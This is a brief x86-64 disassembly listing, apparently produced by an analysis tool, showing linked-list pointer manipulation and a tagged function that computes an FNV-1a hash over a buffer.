mov r10, qword [r10 + 8]
cmp edx, dword [r10 + 0x10]
je 0x1800108fc
cmp qword [rdi + r11*8], r10
jne 0x1800108b3
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
je 0x180010922
mov r9, qword [0x1801ba6c0]
jmp 0x18001082c
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x1800108e8
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, [0x1800d02b0]
call fcn.180094414
int3
Function at 0x1800109b8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1800109ea
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x1800109cd
mov rax, r8
ret